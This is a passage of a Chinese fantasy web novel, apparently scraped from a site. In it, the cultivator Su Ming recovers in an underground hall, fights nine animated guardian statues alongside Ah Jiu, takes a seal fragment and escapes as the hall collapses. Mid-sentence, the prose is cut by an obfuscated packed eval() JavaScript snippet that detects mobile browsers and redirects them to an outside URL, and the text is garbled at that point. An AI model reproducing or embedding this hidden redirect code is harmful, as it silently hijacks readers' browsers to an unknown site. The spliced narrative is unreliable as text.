就在他觉得自己真的要彻底迷失在这信息洪流中时,前方混乱的光流里,忽然出现了一点……不一样的光。不是狂暴的三色,而是一种极其暗淡、却异常稳定的、幽绿色的光,仿佛黑暗中一盏飘摇的孤灯。 那幽绿的光点,似乎在呼唤他,或者说,在吸引着他体内那点星髓的温热。苏明已经无法思考,完全是求生本能驱使,他将最后的心神,全部“投”向那点幽绿。 “嗡——” 一声轻微的、仿佛穿过水膜的震动。 所有狂暴的能量乱流、撕心裂肺的痛苦、冰冷刺骨的虚无感,瞬间消失了。 取而代之的,是沉。身体沉重得像灌了铅,每一块肌肉、每一根骨头都在呻吟。然后是疼,全身无一处不疼,尤其是左臂和胸口,火辣辣的,像有烙铁在烫。还有冷,虽然不再是那种绝对的虚无之冷,但也是阴森刺骨的地穴寒意。 他摔在什么坚硬冰冷的东西上,脸贴着地面,粗糙的颗粒硌得生疼。嘴里全是血腥味和尘土味。 苏明趴在地上,一动不动,只有胸脯在微弱地起伏。耳朵里嗡嗡作响,过了好半天,那轰鸣声才渐渐退去,取而代之的是一种……绝对的寂静。不是没有声音的静,而是那种连空气都仿佛凝固了的、死寂的静。 他能感觉到自己还活着,但状态糟糕到极点。经脉里空空荡荡,别说灵力,连运转功法的力气都没有。左臂的伤恐怕又恶化了,胸腹间也疼得厉害,估计有内伤。脑袋昏沉沉的,像塞了一团浆糊,那些混乱破碎的画面还在意识深处闪烁,带来阵阵眩晕和恶心。 星髓……他艰难地抬起还能动的右手,摸了摸胸口。衣服已经破烂不堪,但装着星髓的内袋还在。星髓还在微微散发着温热,只是这温热比之前微弱了太多,几乎难以察觉,而且带着一种深沉的疲惫感,仿佛随时会熄灭。 他缓了好一会儿,才积攒起一点力气,艰难地抬起头,睁开眼睛。 视线模糊,适应了好一阵,才勉强看清周围的环境。 这是一个巨大的、难以想象其广阔的地下殿堂。穹顶高得不可思议,隐没在深邃的黑暗里,看不到顶。支撑穹顶的,是一根根需要十人合抱的、通体漆黑的巨大石柱,石柱表面雕刻着无数繁复、诡异、令人看一眼就头晕目眩的图案和符文,在一种不知从何而来的、极其暗淡的幽绿色光芒映照下,显得格外阴森。 幽绿的光芒,来自殿堂四周的墙壁。墙壁并非岩石,而是一种半透明的、仿佛巨大黑色水晶般的物质,内部似乎封存着某种缓缓流动的、散发着幽绿光芒的液体,或者……烟雾?光芒透过水晶般的墙壁,在殿堂内投下变幻不定、光怪陆离的幽绿色光影,让整个空间充满了不真实感和诡谲的氛围。 殿堂的地面,是一种光滑如镜的黑色石板,同样倒映着幽绿的光。苏明此刻就趴在这样的地板上,身下冰冷刺骨。 他挣扎着,一点点用手肘撑起身体,靠着旁边一根冰冷的石柱,坐了起来。每动一下,都牵扯着全身的伤痛,让他眼前发黑,冷汗直流。 他喘息着,打量这个空旷得令人心悸的殿堂。太大了,大到让人产生一种渺小和恐惧。除了那些巨大的石柱和幽绿的水晶墙壁,以及远处影影绰绰似乎有些高台、基座之类的轮廓,几乎空无一物。空气中弥漫着浓郁到化不开的阴冥死气,比之前在祭坛上还要精纯、古老,但奇怪的是,其中又混杂着一丝极其微弱的、难以察觉的、仿佛檀香般的清冷香气,与周围的死气格格不入,却又奇异地融合在一起。 这里……就是轮回之门后面?黑水城真正的核心?幽冥殿? 苏明心里发沉。这地方,怎么看都不像有什么传承宝藏的样子,倒更像是一座巨大、古老、被遗忘的……坟墓。或者,神殿? 他忽然想起,在自己被能量乱流撕扯、意识模糊时,最后似乎看到天师法印炸碎了?判官呢?阿九呢?他们应该也进来了,人在哪里? 他强忍着眩晕和不适,集中精神,将微弱的神识(几乎等于没有)和“灵目术”催发到极致,向四周扫去。 在幽绿光芒的深处,大约百丈开外,殿堂的中央区域,似乎有一个巨大的、高出地面的圆形平台。平台上,隐隐有更加浓郁的幽绿光芒透出,还夹杂着……一丝极其微弱、但无比熟悉的、属于天师法印的、中正平和的灵韵波动?虽然很淡,几乎被周围的阴冥死气掩盖,但苏明确实感觉到了。 法印没彻底毁掉?还是说,有什么东西残留? 而在那个平台更远一些的阴影里,他似乎也捕捉到了一丝几乎难以察觉的、属于阿九的、飘忽不定的气息。至于判官那阴冷邪异的气息,则完全没有感应到。难道判官不在这里?还是他隐藏得太好? 苏明靠坐在石柱下,喘息着,思考着。他现在这个状态,别说探索,能活着喘气都算奇迹。必须先恢复一点力气,至少要有自保和行动的能力。 他艰难地从破烂的背包(居然还没完全散架,质量不错)里摸索。水壶没了,干粮也没了,符箓……之前用光了,剩下的也在穿越光流时损毁了。只剩下贴身藏着的那两支“初级细胞活化剂”,还有那颗一直舍不得用的、仅剩的“烈阳丹”,以及几张绘制失败的符纸残片。 烈阳丹是至阳丹药,或许能驱散一些阴寒,补充元气,但药力太猛,以他现在的身体状态,贸然服用,说不定会虚不受补,伤上加伤。细胞活化剂是调理肉身、修复暗伤的,相对温和,但现在更需要的是恢复灵力。 他犹豫了一下,还是先拿出一支细胞活化剂,用牙咬掉保护套,对着自己大腿扎了下去。冰凉的液体注入肌肉,很快化作一股温和的暖流,开始缓慢修复身体的暗伤和疲惫,尤其是左臂的伤口,传来麻痒的感觉,似乎在加速愈合。但这股药力对于空空如也的丹田和枯竭的精力,效果不大。 他需要灵气,大量的、精纯的灵气。可这鬼地方,除了阴冥死气,就是那股诡异的幽绿能量,哪来的灵气? 等等……苏明忽然想到什么。他闭上眼睛,尝试运转《玄天吐纳真解》。功法刚一开始运转,周围的阴冥死气就如同闻到血腥味的鲨鱼,疯狂地朝他涌来,试图钻入经脉!那阴寒、死寂、带着侵蚀意志的气息,让他浑身一颤,差点岔气。 不行!绝对不能吸收这些死气!会死人的! 他连忙停止功法。可停止运转,身体的疲惫和空虚感又潮水般涌来。怎么办? 他下意识地,将心神沉入胸口那点微弱的星髓温热中。星髓依旧在缓缓释放着平和的星力,滋养着他千疮百孔的身体,但这速度太慢了。 就在他一筹莫展之际,他忽然感觉到,在他运转功法的瞬间,除了那些汹涌的阴冥死气,似乎还有一丝极其稀薄、但异常精纯平和的……灵气?不,不完全是灵气,更像是某种更高层次、更本源的能量,混杂在浓郁的阴冥死气和幽绿光芒之中,被他体内那点星髓的热力一引,竟有极其微小的一丝,被星髓主动吸收,然后转化成了温和的星力,反哺自身! 虽然只有一丝,微乎其微,但对此刻干涸的他来说,不啻于久旱甘霖! 是了!星髓能吸收星辰之力,或许也能吸收这种特殊的、古老的能量?这殿堂里的幽绿光芒,还有那股奇异的清冷香气,恐怕来历不凡! 苏明精神一振。他不再尝试直接吸收阴冥死气,而是将全部心神,都集中在胸口星髓上。他主动引导着星髓,如同一个饥饿的婴儿,小心翼翼地去捕捉、吸引空气中那稀薄却精纯的特殊能量。 果然!随着他的引导,一丝丝肉眼几乎看不见的、淡金色的、如同微尘般的能量光点,从周围的幽绿光芒和空气中,被剥离出来,缓缓朝着他胸口汇聚,没入星髓之中。星髓的温热,似乎增强了一点点,释放出的星力,也多了一丝丝。 虽然速度缓慢得令人发指,吸收的量也少得可怜,但确确实实在恢复!而且,这特殊能量被星髓转化后,异常温和精纯,滋养身体、修复经脉的效果,比他自己修炼出的灵力要好得多!甚至连左臂伤口那被阴煞侵蚀的后遗症,都在被缓慢地拔除、净化。 “仙尊……”苏明在心中呼唤。穿越光流时,凌虚子似乎彻底沉寂了,连一点波动都感觉不到。 没有回应。元婴恐怕也受到了重创,陷入深度沉眠了。 苏明心中微沉,但很快又定下神来。现在只能靠自己了。 他靠在冰冷的石柱上,闭上眼睛,全力催动星髓,吸收着那稀薄却珍贵的特殊能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356249|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量,转化为星力,一点点修补着残破的身体和经脉。细胞活化剂的药力也在持续发挥作用。 时间一点点过去。在这绝对死寂的幽冥殿中,时间仿佛失去了意义。苏明不知道自己坐了多久,也许是一个时辰,也许是半天。 当他再次睁开眼时,眼中的疲惫和涣散褪去了不少,虽然脸色依旧苍白,身上伤痛依旧,但至少恢复了一些行动的气力,丹田里也有了一丝微弱但确实存在的、由星力转化而来的、带着淡淡星辉色泽的“灵力”。左臂伤口的剧痛减轻了大半,只剩下隐隐的钝痛。 他扶着石柱,艰难地站了起来。环顾四周,幽绿的殿堂依旧空旷死寂,没有任何变化。远处中央平台那微弱的法印灵韵波动,和阿九若有若无的气息,依旧还在。 他必须过去看看。留在这里,迟早会因为伤势和阴寒死去。而且,判官不知所踪,始终是个巨大的威胁。 苏明辨认了一下方向,朝着中央平台,开始小心翼翼地移动。脚步虚浮,但还算稳。他将那丝微弱的星力灵力运转全身,尤其是双眼和双耳,提升感知,同时将“敛息术”运转到极致,尽量收敛自己的气息和脚步声。 殿堂空旷,他的脚步声在光滑如镜的地面上发出轻微的回响,在绝对的寂静中被放大,让他心惊肉跳。他尽量绕开那些散发着浓郁幽绿光芒的水晶墙壁,总觉得那里面封存的东西,让他很不舒服。 走了约莫一刻钟,距离中央平台越来越近。那平台的轮廓也清晰起来。那是一个直径超过三十丈的圆形高台,高出地面约三尺,通体由一种更加漆黑、宛如墨玉的石头砌成,表面同样刻满了密密麻麻的符文。高台边缘,均匀分布着九尊造型更加古朴、也更加狰狞的石像,不是人形,而是九种形态各异的、传说中的冥府凶兽,栩栩如生,仿佛随时会活过来。 而在高台的正中央,有一个小小的、凸起的石质祭台。祭台上,赫然悬浮着一样东西! 那是一个拳头大小、非金非玉、形状不规则的暗金色碎片!碎片表面布满了细微的裂痕,但依旧散发着微弱却纯净的、中正平和的灵韵——正是天师法印残留的核心碎片!碎片静静地悬浮在祭台上方尺许,缓缓旋转,散发着温润的暗金光芒,与周围幽绿的光影和阴冥死气形成鲜明对比。 而在祭台旁边,高台的阴影里,一个穿着灰色斗篷的纤细身影,正静静地站在那里,仰头看着那悬浮的碎片。正是阿九。她似乎也受伤不轻,气息有些不稳,斗篷上有多处破损,但她站得笔直,如同风雪中挺立的青竹。 苏明的靠近,显然没有瞒过阿九。在他踏上高台边缘的台阶时,阿九缓缓转过身,帽檐下的目光看向他,清冷依旧,但似乎少了几分之前的漠然,多了一丝复杂的审视。 “你还活着。”阿九开口,声音有些沙哑,显然也损耗不小。 “暂时。”苏明走上高台,目光掠过她,看向那悬浮的法印碎片,又警惕地扫视四周,“判官呢?” “没进来。”阿九言简意赅,“或者说,进来了,但不在这里。” “什么意思?” “轮回之门连接的不止一个‘房间’。”阿九指了指上方无尽的黑暗,和四周幽绿的水晶墙壁,“我们所在的,恐怕只是外围的‘前殿’或者‘偏殿’。真正的核心,可能还在更深处。判官的目标,恐怕是那里。这碎片,他要么是没来得及取,要么是……看不上,或者,取不走。” 看不上?取不走?苏明看向那悬浮的碎片。虽然只是碎片,但其中蕴含的那股中正平和的灵韵,对修炼正道功法的人来说,绝对是无价之宝。判官修炼的明显是阴邪一路,用不上,但也不至于看不上。那就是……取不走? 苏明试着靠近祭台。离得近了,更能感受到那碎片散发的温润灵韵,让他体内那丝星力灵力都活跃了不少。但同时,他也感觉到,碎片周围,似乎有一层极其隐晦、但坚韧无比的无形力场,隔绝着内外。而且,碎片下方的祭台上,那些刻画的符文,正在极其缓慢地、有规律地明灭着,与碎片散发的灵韵隐隐呼应。 “有禁制。”苏明道。 “很古老的守护禁制,与这碎片同源。”阿九点头,“强行破除,可能会毁了碎片,或者触发更麻烦的东西。而且……”她顿了顿,“我感觉到,这碎片似乎在呼唤什么。不是我们。” 呼唤什么?苏明心中一动。难道是……完整的天师法印?可法印已经毁了。还是说,是拥有特定血脉或传承的人? 就在这时,异变陡生! 高台边缘,那九尊冥府凶兽石像,空洞的眼窝里,毫无征兆地,同时亮起了两点幽绿色的火焰!火焰跳跃,冰冷的目光,齐刷刷地,锁定了高台上的苏明和阿九! “擅闯者……死……” 一个低沉、嘶哑、仿佛来自九幽黄泉的声音,直接在两人的识海中响起!不是听到,是直接“印”入脑子里!带着无尽的死寂和杀意! 紧接着,九尊石像,动了!石壳剥落,露出底下覆盖着暗沉金属、关节处缠绕着黑色锁链的庞大身躯!它们迈着沉重的步伐,缓缓转过身,朝着高台中央的苏明和阿九,围拢过来!每一步落下,高台都微微震颤!九股堪比筑基期的恐怖凶煞死气,如同九座大山,轰然压下! 42. 生死一线 “死……” 那冰冷的意念如同钢针,狠狠刺入苏明的识海,搅得他刚刚稳住的心神又是一阵剧烈晃动。眼前阵阵发黑,九尊冥府凶兽石像眼中跳跃的幽绿火焰,在视野中扭曲、放大,仿佛要将他的灵魂都吸扯进去。 堪比筑基期的恐怖威压,如同九座无形的冰山轰然砸下!苏明感觉呼吸一滞,胸口发闷,刚刚恢复了一点的身体在这纯粹的、质量碾压般的威压下,骨头都在咯吱作响,左臂伤口刚刚结痂的地方再次崩裂,鲜血渗出。 他闷哼一声,脚下踉跄后退一步,脊背重重撞在冰冷的祭台上,才勉强稳住身形。体内那丝微薄的星力灵力自动激发,在体表形成一层若有若无的、带着星辉的淡白光晕,拼命抵抗着那滔天的凶煞死气,但也只是杯水车薪,光晕剧烈闪烁,随时可能破碎。 旁边的阿九显然也承受着巨大的压力,但她只是身体微微晃了一下,便重新站稳。斗篷无风自动,一股清冷、飘忽却又无比凝实的气息从她身上散发出来,竟将那压向她的部分威压悄然滑开、卸去,仿佛她不是实体,而是一缕随时会散去的青烟。但苏明敏锐地注意到,她垂在身侧的手,指节微微发白,显然也不轻松。 九尊石像已经完成了转身,形成一个松散的包围圈,将高台中央的祭台、法印碎片、苏明和阿九,围在中间。它们动作僵硬,但每一步落下都沉重无比,暗沉的金属身躯与黑石地面摩擦,发出令人牙酸的“嘎吱”声。锁链在关节处碰撞,叮当作响,在这死寂的殿堂中格外刺耳。 没有立刻攻击。九对幽绿的眼窝火焰,冷漠地、审视地、带着猫捉老鼠般的残忍,盯着猎物。那股冰冷的杀意如同实质的潮水,一波波冲击着苏明的心神。 “仙尊……仙尊!”苏明在心中焦急呼唤。没有任何回应。凌虚子依旧沉寂。他知道,这次真的只能靠自己了,还有……身边这个看不透的阿九。 跑?往哪跑?这高台四周无遮无拦,下面是无尽的黑暗和可能更多的危险。而且,九尊堪比筑基的石像包围,以他现在的状态,能跑出几步? 硬拼?那是找死。就算全盛时期,面对一尊都够呛,何况九尊,还是重伤濒死、灵力枯竭的状态。 绝境!比在物流园被“判官”手下围攻,比在通道里被蚀魂甲虫和黑水潭怪物追杀,更加绝望的绝境!那时至少还能挣扎,还能跑。现在,连挣扎的余地都似乎被剥夺了。 冷汗瞬间浸湿了苏明破烂的衣背,冰冷的寒意顺着脊椎爬上后脑。死亡,从未如此清晰、如此接近。 难道真的要死在这里?死在这些没有生命的石头怪物手里?像那些散修一样,化为这幽冥殿里的一缕亡魂,或者……连亡魂都剩不下? 不!不甘心!他还有太多事情没做,太多疑惑没解开,太多……仇没报!“判官”还活着,影流会还在暗处,父母失踪的真相,自己踏入修行的缘由……怎么能死在这里?! 一股炽烈的、混合着愤怒、不甘、求生欲的火焰,猛地从苏明心底烧了起来!烧得他双眼发红,烧得他浑身颤抖,烧得他几乎要失去理智地嘶吼! 就在这极致的恐惧和绝望催生的疯狂边缘,他胸口那点星髓的温热,似乎被他的情绪引动,猛地一跳!一股比之前精纯、强烈了数倍的星力,如同甘泉般涌出,瞬间流遍四肢百骸!这股星力不仅滋养着他的身体,更带着一种奇特的、安抚心神、澄澈灵台的力量,将他从崩溃疯狂的边缘硬生生拉了回来。 同时,他感到背包最底层,那个装着天师法印碎片的檀木盒(虽然法印碎了,盒子他一直留着),似乎也微微震动了一下,与祭台上那悬浮的碎片,产生了一丝极其微弱、但确实存在的呼应。 星髓……法印碎片…… 苏明脑中灵光一闪!一个极其大胆、甚至可以说是疯狂的念头,瞬间成形! “阿九!”他猛地扭头,看向身边依旧沉静、但气息已然紧绷如弓弦的阿九,声音嘶哑却带着一种孤注一掷的决绝,“信我一次!帮我争取三息!不,两息!” 阿九帽檐下的目光倏地转向他,清冷的眸子在幽绿火光映照下,闪过一丝极快的讶异。她没有问为什么,也没有犹豫,只是极轻微地点了一下头。 “好。” 一个字,干脆利落。 就在阿九话音落下的瞬间,九尊石像,仿佛接收到了某种指令,同时动了! “吼——!!!” 无声的咆哮在识海中炸响!正前方一尊形似饕餮、头生独角、满嘴利齿的石像,四蹄刨地,庞大的身躯带着摧山裂石之势,率先朝着苏明猛冲而来!速度之快,与它沉重的体型完全不符,几乎化作一道黑色的残影!血盆大口张开,腥风扑面,幽绿的眼窝火焰暴涨,仿佛要将他连人带魂一口吞下! 与此同时,左右两侧,一尊人面虎身、背生骨刺的石像,和一尊鸟首蛇身、尾如巨锤的石像,也同时发难!虎身石像人面狰狞,口中喷出一道灰黑色的、带着浓郁尸臭的吐息!蛇身石像长尾如鞭,撕裂空气,带着凄厉的音爆,横扫而至!封死了苏明所有闪避的空间! 三面夹击!必杀之局! 就在这电光石火之间,阿九动了。 她没去管正面冲来的饕餮石像,也没理会喷吐的尸臭吐息。她的身形如同鬼魅般,在原地留下一道淡淡的残影,真身已经出现在苏明左侧,迎向了那横扫而来的巨大石尾! 她没有硬接。在石尾及体的刹那,她纤细的身影如同没有重量般,顺着石尾扫来的方向,轻轻一旋,一飘,如同风中柳絮,竟险之又险地贴着石尾表面滑了过去!同时,她右手伸出,食指中指并拢,指尖一点凝练到极致的、近乎透明的银芒骤然亮起,如同最锋利的针尖,精准无比地,点在了石尾与蛇身连接的关节缝隙处! “叮!” 一声轻响,微不可闻。但那势不可挡横扫而来的巨大石尾,却如同被点中了七寸的毒蛇,猛地一僵,横扫之势顿止,甚至微微向上弹起!石尾表面,被银芒点中的地方,出现了一个针眼大小、却深不见底的孔洞,孔洞边缘,竟然蔓延开一片细密的、冰晶般的裂纹! 蛇身石像发出一声痛苦(无声)的嘶鸣,庞大的身躯踉跄了一下。 而阿九,已经借着这一点之力,身形再次飘飞,如同穿花蝴蝶,在间不容发之际,从虎身石像喷吐的尸臭吐息边缘掠过,那灰黑色的吐息仿佛有灵性般想要缠绕她,却被她周身那股清冷飘忽的气息弹开少许。 就这短短一瞬的阻隔和迟滞,为苏明争取到了那至关重要的、不到一息的时间! 苏明在阿九动的瞬间,就动了。他没有去看那近在咫尺、腥风扑面的饕餮巨口,也没有理会两侧的攻击。他的全部心神,都集中在了胸口星髓,和背包里的檀木盒上! “就是现在!” 他心中怒吼,右手闪电般探入破烂的背包,一把抓住了那个冰冷的檀木盒!与此同时,他疯狂地、不顾一切地催动胸口那点星髓,将其中刚刚涌出的、相对“庞大”的星力,连同自己刚刚恢复的那一丝灵力,全部、毫无保留地,灌注到了左手之中! 他的左手,早已因为紧握和用力而指节发白,青筋暴起。此刻,得到星力和灵力的灌注,整只手掌竟然散发出淡淡的、如同月华般的银白色光芒!手掌周围的空气,都微微扭曲。 然后,在饕餮石像的血盆大口即将将他吞噬的最后一刹那,苏明猛地将左手,狠狠按在了祭台上——那悬浮的法印碎片正下方的、刻画着繁复符文的祭台中心! 他不是要拿碎片,也不是要攻击石像。他要做的,是激活!激活这祭台的禁制!用他体内这源自星髓的、与法印碎片同源的、中正平和的星力灵力,去“唤醒”这祭台的守护之力! 他不知道这有没有用,纯粹是赌!赌这祭台的禁制,对“正确”的能量有反应!赌这法印碎片,真的是“钥匙”的一部分!赌他这误打误撞、被星髓改造过的灵力,能被禁制认可! 手掌按上祭台的瞬间,苏明感觉像是按在了一块万年寒冰上,刺骨的冰冷和一股强大的排斥力瞬间传来,几乎要将他的手掌弹开、冻碎!但他咬紧牙关,死死按住,将体内最后一点力量,连同那股不屈的意志,全部灌注进去! “嗡——!!!” 祭台,猛地一震! 以苏明手掌按压处为中心,祭台上那些原本缓慢明灭的古老符文,骤然爆发出璀璨夺目的暗金色光芒!光芒如同水波般迅速荡漾开来,瞬间蔓延至整个高台!甚至连高台边缘那九尊石像身上缠绕的锁链符文,也一同亮起! 一股浩瀚、苍凉、古老、充满无上威严的气息,如同沉睡的巨龙被惊醒,轰然从祭台深处爆发出来!这股气息堂皇正大,带着镇压一切邪祟、涤荡一切污秽的磅礴意志,与周围浓郁的阴冥死气、石像散发的凶煞之气,激烈碰撞! “嗷——!!!” 首当其冲的,正是那张开血盆大口、距离苏明不足三尺的饕餮石像!它那幽绿的眼窝火焰如同狂风中的烛火般疯狂摇曳、明灭,庞大的身躯像是撞在了一堵无形的、布满尖刺的铁墙上,发出沉闷的巨响,冲锋之势戛然而止!体表暗沉的金属外壳,在暗金色光芒的照耀下,竟然发出“滋滋”的声响,冒出缕缕黑烟,仿佛在被灼烧、净化!它发出一声充满痛苦和惊恐的无声咆哮,踉跄着向后退去! 另外两尊攻击受阻的石像,也在暗金光芒的照耀下,动作明显迟缓、僵硬,体表同样冒出黑烟,幽绿的眼窝火焰黯淡了不少。 九尊石像组成的恐怖威压,竟被这突然爆发的祭台禁制光芒,硬生生冲开了一个缺口!苏明身周的压力骤然一轻。 成功了!赌对了!苏明心中狂喜,但还没来得及喘口气,一股无法形容的虚弱和剧痛便席卷全身。刚才那一下,几乎抽干了他刚刚恢复的所有力量,甚至透支了生命力。他眼前一黑,按在祭台上的左手无力滑落,身体一软,就要向旁边倒去。 一只手,及时扶住了他。是阿九。她不知何时已经回到了他身边,一只手扶住他摇摇欲坠的身体,另一只手依旧警惕地对着那九尊暂时被暗金光芒压制的石像。她的气息也有些紊乱,显然刚才那一连串精妙到毫巅的闪避和攻击,消耗也绝对不小。 “快!碎片!”苏明强忍着眩晕和虚弱,嘶声对阿九喊道,目光死死盯着祭台上方那悬浮的、此刻在暗金光芒映照下显得更加温润夺目的法印碎片。他能感觉到,祭台的禁制被激活后,对碎片的束缚似乎减弱了,而且碎片与下方祭台、与他体内星力的联系,更加清晰、强烈了!这是一个机会!唯一的机会! 阿九没有丝毫犹豫。她扶着苏明的手稳如磐石,另一只手快如闪电般探出,直接抓向那悬浮的法印碎片! 就在她的指尖即将触碰到碎片的瞬间—— 异变,再次发生! 祭台爆发的暗金光芒骤然一敛,如同潮水般退回祭台内部。高台边缘,那九尊被压制、身上冒着黑烟的石像,眼中的幽绿火焰猛地重新燃起,而且比之前更加炽烈、更加疯狂!它们体表的黑烟迅速被一股更浓、更沉的黑气取代,那黑气翻涌着,仿佛有无数扭曲的面孔在其中哀嚎! “轰!轰!轰!” 九尊石 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“不好!禁制核心被触动,这里要塌了!快走!”阿九声音第一次带上了明显的急促。她一把将法印碎片塞进苏明手里,同时另一只手揽住他的腰,足尖猛地一点地面,身形如同离弦之箭,朝着高台下方、远离九尊狂暴石像的方向,疾射而出! 苏明只觉耳边风声呼啸,身体被阿九带着,以快得惊人的速度飞掠。他勉强回头,只见身后高台之上,九尊石像喷吐的黑色气柱已经交织成一片毁灭的领域,将那片空间彻底淹没。祭台中心,一道粗大的、漆黑的、仿佛连接着九幽最深处的空间裂缝,正在缓缓张开,散发出吞噬一切的恐怖吸力!高台边缘的石像、地面,甚至光线,都在被那裂缝缓缓吸入、绞碎! 整个幽冥殿都在剧烈摇晃,穹顶有巨大的碎石开始坠落,砸在光滑如镜的地面上,发出震耳欲聋的巨响。四周幽绿的水晶墙壁光芒乱闪,内部封存的液体疯狂涌动,仿佛有什么东西要破壁而出! 天塌地陷!末日降临! 阿九带着苏明,在崩塌的殿堂、坠落的巨石、肆虐的能量乱流中,如同暴风雨中的海燕,穿梭,折转,躲避。她的身法快到了极致,也诡异到了极致,往往在间不容发之际,从致命的缝隙中穿过。但身后的空间裂缝吸力越来越强,坠落的巨石越来越密集,能量乱流也越来越狂暴。 苏明被阿九带着,感觉五脏六腑都要被颠出来,眼前景物飞速倒退、模糊。他紧紧握着手中温凉的法印碎片,这是他们唯一得到的东西,也是引发这场灾难的源头。 不知道逃了多久,也许只有十几息,却漫长得像一个世纪。前方,幽绿的光芒到了尽头,出现了一片更加深邃、纯粹的黑暗,仿佛是一面巨大的、光滑的黑色岩壁。 岩壁上,有一扇门。一扇紧闭的、古朴的、非金非石的暗灰色巨门。门上没有任何装饰,只有正中,有一个巴掌大小的、奇特的凹陷图案——那图案,赫然与苏明手中法印碎片的形状,有七八分相似!只是更大,更完整。 是出口?!还是另一处绝地? 阿九没有丝毫减速,径直朝着那扇巨门冲去!在接近巨门的瞬间,她空着的左手并指如剑,指尖那点凝练的银芒再次亮起,狠狠点向巨门中心的凹陷图案! 同时,她对着苏明厉喝:“碎片!按上去!” 苏明福至心灵,用尽最后力气,将手中那温凉的法印碎片,朝着巨门中心的凹陷,狠狠按了下去! 碎片与凹陷接触的刹那,严丝合缝! “嗡——!” 巨门震颤,发出低沉的轰鸣。门上亮起一道道柔和却坚韧的暗金色纹路,与碎片本身的光芒交相辉映。 “嘎吱——” 沉重的、仿佛尘封了万载的开门声,缓缓响起。巨门,向内,打开了一道缝隙!缝隙后面,是无边的黑暗和……一股更加古老、更加难以言喻的气息,隐隐传来。 与此同时,身后那毁灭一切的吸力、崩塌的巨响、石像的咆哮,已经近在咫尺!狂暴的能量乱流如同实质的巨浪,拍打在后背! “走!” 阿九揽着苏明,身形一闪,从那刚刚打开的、仅容一人通过的缝隙中,挤了进去! 就在两人没入门后黑暗的瞬间—— “轰隆!!!” 身后,传来天崩地裂般的巨响!整个幽冥殿,仿佛彻底坍塌了。那扇刚刚打开的巨门,也在恐怖的冲击下,猛地闭合!将所有毁灭、嘶吼、混乱,彻底隔绝在外。 门内,是无边的黑暗,和死一般的寂静。 只有两人粗重、压抑、劫后余生的喘息声,在黑暗中清晰可闻。 苏明瘫倒在冰冷坚硬的地面上,感觉全身的骨头都散了架,连动动手指的力气都没有。眼前一片漆黑,什么也看不见。只有手中,那法印碎片,还散发着微弱却稳定的温润光芒,像黑暗中唯一的一点萤火。 他还活着。 和阿九一起,逃出来了。 从九尊堪比筑基的冥府石像,从崩塌的幽冥殿,从那个仿佛要吞噬一切的空间裂缝中……逃出来了。 但这里,又是哪里? 门后的黑暗,寂静得让人心慌。 而手中这用命换来的法印碎片,又意味着什么? 苏明不知道。无尽的疲惫和黑暗,如同潮水般涌来,将他彻底淹没。 在失去意识的最后一瞬,他似乎感觉到,身边的阿九,轻轻松开了揽着他的手,站了起来。黑暗中,似乎有一道清冷的目光,落在他身上,停留了片刻。 然后,是渐渐远去的、几不可闻的脚步声。